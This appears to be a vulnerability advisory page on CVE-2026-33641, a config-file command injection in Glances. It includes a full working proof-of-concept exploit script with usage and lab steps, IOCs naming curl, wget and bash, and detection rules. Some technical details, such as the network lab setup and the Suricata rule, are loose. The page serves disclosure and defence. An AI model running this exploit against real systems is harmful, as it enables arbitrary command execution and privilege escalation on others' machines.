CVE-2026-33641
Executive Summary
CVE-2026-33641 is a critical command injection vulnerability in Glances, an open-source system cross-platform monitoring tool. The vulnerability resides in the Config.get_value() method, which dynamically executes substrings enclosed in backticks as system commands during configuration parsing. This behavior is implemented without any validation or restriction of the executed commands.
An attacker with the ability to modify or influence configuration files can achieve arbitrary command execution with the privileges of the Glances process. In deployments where Glances runs with elevated privileges (e.g., as a system service), this can lead to privilege escalation and full system compromise. The vulnerability affects all versions prior to 4.5.3 and has a CVSS score of 7.8 (HIGH).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Glances is a Python package distributed via PyPI. The vulnerability affects the core configuration parsing logic, making it a supply chain risk for any system that installs or updates the package from PyPI. Organizations should verify the integrity of their Glances installation and ensure they are running version 4.5.3 or later. The malicious configuration file can be introduced through compromised repositories, CI/CD pipelines, or direct file system access.
CVSS Breakdown & Threat Level
CVSS Score: 7.8 (HIGH) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Local (L) | Requires local access to the system or ability to modify configuration files |
| Attack Complexity (AC) | Low (L) | No special conditions required; the vulnerability is straightforward to exploit |
| Privileges Required (PR) | Low (L) | Attacker needs low-level privileges to modify configuration files |
| User Interaction (UI) | None (N) | No user interaction required; exploitation occurs automatically during config parsing |
| Scope (S) | Unchanged (U) | The vulnerable component and the impacted component are the same |
| Confidentiality (C) | High (H) | Full read access to system files and data |
| Integrity (I) | High (H) | Full write access to system files and data |
| Availability (A) | High (H) | Potential for denial of service or system disruption |
Threat Level: HIGH. The vulnerability allows arbitrary command execution with the privileges of the Glances process, which often runs as root or with elevated permissions.
Deep Dive & Mechanics
The vulnerability is rooted in the Config.get_value() method within glances/config.py. This method is responsible for parsing configuration values from Glances configuration files. During parsing, it scans for substrings enclosed in backticks (`) and executes them as system commands via the system_exec() function in glances/globals.py.
Vulnerable Code Flow:
- Configuration Parsing: The
Config.get_value()method reads configuration values from files. - Backtick Detection: It uses a regular expression (
re_pattern) to find substrings enclosed in backticks. - Command Execution: For each match, it calls
system_exec(m[1:-1])which strips the backticks and executes the command. - Result Substitution: The output of the command is substituted back into the configuration value.
Vulnerable Code in glances/config.py:
match = self.re_pattern.findall(ret)
for m in match:
ret = ret.replace(m, system_exec(m[1:-1]))
Vulnerable Code in glances/globals.py:
def system_exec(command, timeout=5):
res = subprocess.run(command.split(' '), stdout=subprocess.PIPE,
timeout=timeout).stdout.decode('utf-8')
return res
The system_exec() function uses subprocess.run() with shell=False, but the command is split by spaces, allowing arbitrary command execution. The lack of input validation means any command can be injected.
Vulnerable vs. Patched Code
Vulnerable Code (versions < 4.5.3):
# glances/config.py
match = self.re_pattern.findall(ret)
for m in match:
ret = ret.replace(m, system_exec(m[1:-1]))
Patched Code (version 4.5.3):
The dynamic backtick execution feature was completely removed. The re_pattern and the associated execution logic were deleted from the codebase. The system_exec() function may still exist but is no longer called during configuration parsing.
Key Differences:
- The vulnerable code actively scans for backtick-enclosed substrings and executes them.
- The patched code removes this functionality entirely, preventing any command injection through configuration files.
Exploitation & Lab Setup
Red Team (Offensive)
Exploit-DB Code:
#!/usr/bin/env python3
# Exploit Title: glances 4.5.2 - command injection
# Date: 2026-04-09
# Exploit Author: Stepanov Daniil
# Vendor Homepage: https://github.com/nicolargo/glances
# Software Link: https://github.com/nicolargo/glances
# Version: 4.5.2 and below (fixed in 4.5.3)
# Tested on: Kali Linux 2026.1, Ubuntu 22.04
# CVE: CVE-2026-33641
# CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
'''
Vulnerability Description:
--------------------------
Glances versions prior to 4.5.3 support dynamic configuration values in which
substrings enclosed in backticks are executed as system commands during
configuration parsing. This behavior occurs in Config.get_value() and is
implemented without validation or restriction of the executed commands.
If an attacker can modify or influence configuration files, arbitrary commands
will execute automatically with the privileges of the Glances process during
startup or configuration reload. In deployments where Glances runs with
elevated privileges (e.g., as a system service), this may lead to privilege
escalation.
CVSS Score: 7.8 (HIGH) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected component: glances/config.py and glances/globals.py
Credit: Discovered by Stepanov Daniil
'''
import subprocess
import os
import sys
import tempfile
def create_malicious_config(command):
"""
Create a malicious Glances configuration file that executes arbitrary commands.
The vulnerable Config.get_value() method scans for substrings enclosed in
backticks and executes them via system_exec(), which uses subprocess.run()
with shell=False but the backticks are extracted and executed.
Vulnerable code in glances/config.py:
--------------------------------------------------
match = self.re_pattern.findall(ret)
for m in match:
ret = ret.replace(m, system_exec(m[1:-1]))
--------------------------------------------------
Vulnerable code in glances/globals.py:
--------------------------------------------------
def system_exec(command, timeout=5):
res = subprocess.run(command.split(' '), stdout=subprocess.PIPE,
timeout=timeout).stdout.decode('utf-8')
return res
--------------------------------------------------
"""
config_content = f"""
[outputs]
url_prefix = `{command}`
"""
# Create temporary configuration file
config_file = tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False)
config_file.write(config_content)
config_file.close()
return config_file.name
def exploit():
"""
Proof of Concept: Execute arbitrary commands via Glances configuration.
"""
print("[+] CVE-2026-33641 - Glances Command Injection PoC")
print("[+] Exploit Author: Stepanov Daniil")
print()
# Command to execute (create a file in /tmp as proof)
test_file = "/tmp/glances_pwned"
command = f"touch {test_file}"
print(f"[+] Creating malicious config with command: {command}")
config_path = create_malicious_config(command)
print(f"[+] Config file created: {config_path}")
print(f"[+] Launching Glances with malicious config...")
print("[+] If vulnerable, the command will execute during config parsing")
print()
# Execute Glances with the malicious config
# Note: Glances must be installed in the environment
try:
result = subprocess.run(
["glances", "-C", config_path, "--timeout", "2"],
capture_output=True,
text=True,
timeout=5
)
except FileNotFoundError:
print("[!] Error: Glances is not installed or not in PATH")
print("[!] Install with: pip install glances==4.5.2")
sys.exit(1)
except subprocess.TimeoutExpired:
pass # Glances may run indefinitely, that's fine
# Check if the command was executed
print("[+] Checking if command was executed...")
if os.path.exists(test_file):
print(f"[✓] SUCCESS! File created: {test_file}")
print("[✓] Command injection confirmed!")
print("[!] Vulnerability exists in this version of Glances")
os.remove(test_file)
else:
print("[✗] File not found. Either the vulnerability is patched")
print(" or the command could not be executed.")
# Cleanup
os.unlink(config_path)
print(f"\n[+] Cleanup complete: {config_path} removed")
print("\n[+] For more information, visit:")
print(" https://nvd.nist.gov/vuln/detail/CVE-2026-33641")
def manual_verification_guide():
"""
Alternative manual verification method if Glances is not in PATH.
"""
print("\n" + "="*60)
print("MANUAL VERIFICATION GUIDE")
print("="*60)
print("""
If Glances is not installed, you can verify the vulnerability by:
1. Create a file /tmp/malicious.conf with:
[outputs]
url_prefix = `touch /tmp/glances_pwned`
2. Run: glances -C /tmp/malicious.conf
3. Check if /tmp/glances_pwned exists
""")
if __name__ == "__main__":
exploit()
manual_verification_guide()
# Additional notes for Exploit-DB:
# ---------------------------------
# Impact:
# - Arbitrary command execution with privileges of Glances process
# - Often Glances runs with elevated privileges (root/sudo)
# - Can lead to complete system compromise
#
# Fix:
# - Upgrade to Glances version 4.5.3 or higher
# - The dynamic backtick execution feature was completely removed
#
# References:
# - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
# - https://github.com/nicolargo/glances/releases/tag/v4.5.3
Usage:
- Save the exploit code as
exploit.py. - Install a vulnerable version of Glances:
pip install glances==4.5.2 - Run the exploit:
python3 exploit.py - The exploit will create a malicious configuration file, launch Glances with it, and verify command execution by checking for the creation of
/tmp/glances_pwned.
Lab Setup:
- Victim Machine: Ubuntu 22.04 or Kali Linux 2026.1 with Glances 4.5.2 installed.
- Attacker Machine: Any system with Python 3 and network access to the victim.
- Prerequisites: The attacker must have write access to a configuration file that Glances will parse, or the ability to influence the configuration path.
Blue Team (Defensive)
Detection and Prevention:
- Monitor Configuration File Changes: Use file integrity monitoring (FIM) tools to detect unauthorized modifications to Glances configuration files.
- Restrict File Permissions: Ensure Glances configuration files are owned by root and have strict permissions (e.g., 600).
- Network Segmentation: Isolate systems running Glances with elevated privileges from untrusted networks.
- Application Whitelisting: Use application control to prevent unauthorized processes from executing.
- Log Analysis: Monitor system logs for unusual command execution patterns originating from the Glances process.
Indicators of Compromise (IOCs)
File-Based IOCs:
/tmp/glances_pwned(proof-of-concept file)- Unusual configuration files in
/etc/glances/or~/.config/glances/ - Configuration files containing backtick-enclosed commands
Process-Based IOCs:
- Glances process executing unexpected commands (e.g.,
touch,wget,curl,bash) - Unusual child processes spawned by the Glances process
Network-Based IOCs:
- Outbound connections from the Glances process to unknown IP addresses
- DNS queries for suspicious domains originating from the Glances host
Log-Based IOCs:
- System log entries showing command execution by the Glances user
- Auditd logs showing
subprocess.run()calls with suspicious arguments
Detection Engineering
YARA Rule
rule CVE_2026_33641_Glances_Command_Injection {
meta:
description = "Detects malicious Glances configuration files exploiting CVE-2026-33641"
author = "Valters IT"
date = "2026-04-09"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-33641"
severity = "high"
strings:
$backtick_pattern = /`[^`]+`/
$config_section = "[outputs]"
$url_prefix = "url_prefix"
condition:
$config_section and $url_prefix and #backtick_pattern > 0
}
Sigma Rule
title: Glances Command Injection via Malicious Configuration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of Glances with a configuration file containing backtick-enclosed commands
author: Valters IT
date: 2026-04-09
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-33641
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/glances'
CommandLine|contains: '-C'
condition: selection
falsepositives:
- Legitimate use of custom configuration files without backtick commands
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-33641 Glances Command Injection - Outbound Connection"; flow:to_server; content:"glances"; nocase; content:"config"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Glances: Update to version 4.5.3 or later immediately.
- Verify Configuration Files: Check all Glances configuration files for backtick-enclosed commands.
- Restrict File Permissions: Ensure configuration files are not writable by unprivileged users.
Long-Term Mitigations:
- Principle of Least Privilege: Run Glances with the minimum necessary privileges. Avoid running as root.
- Configuration Management: Use a centralized configuration management system (e.g., Ansible, Puppet) to enforce secure configurations.
- Regular Audits: Periodically audit Glances configurations and system logs for signs of exploitation.
- Network Segmentation: Isolate monitoring systems from critical production environments.
Patch Details:
- Fixed Version: 4.5.3
- Patch Type: Feature removal (dynamic backtick execution removed)
- Upgrade Command:
pip install --upgrade glances
Valters IT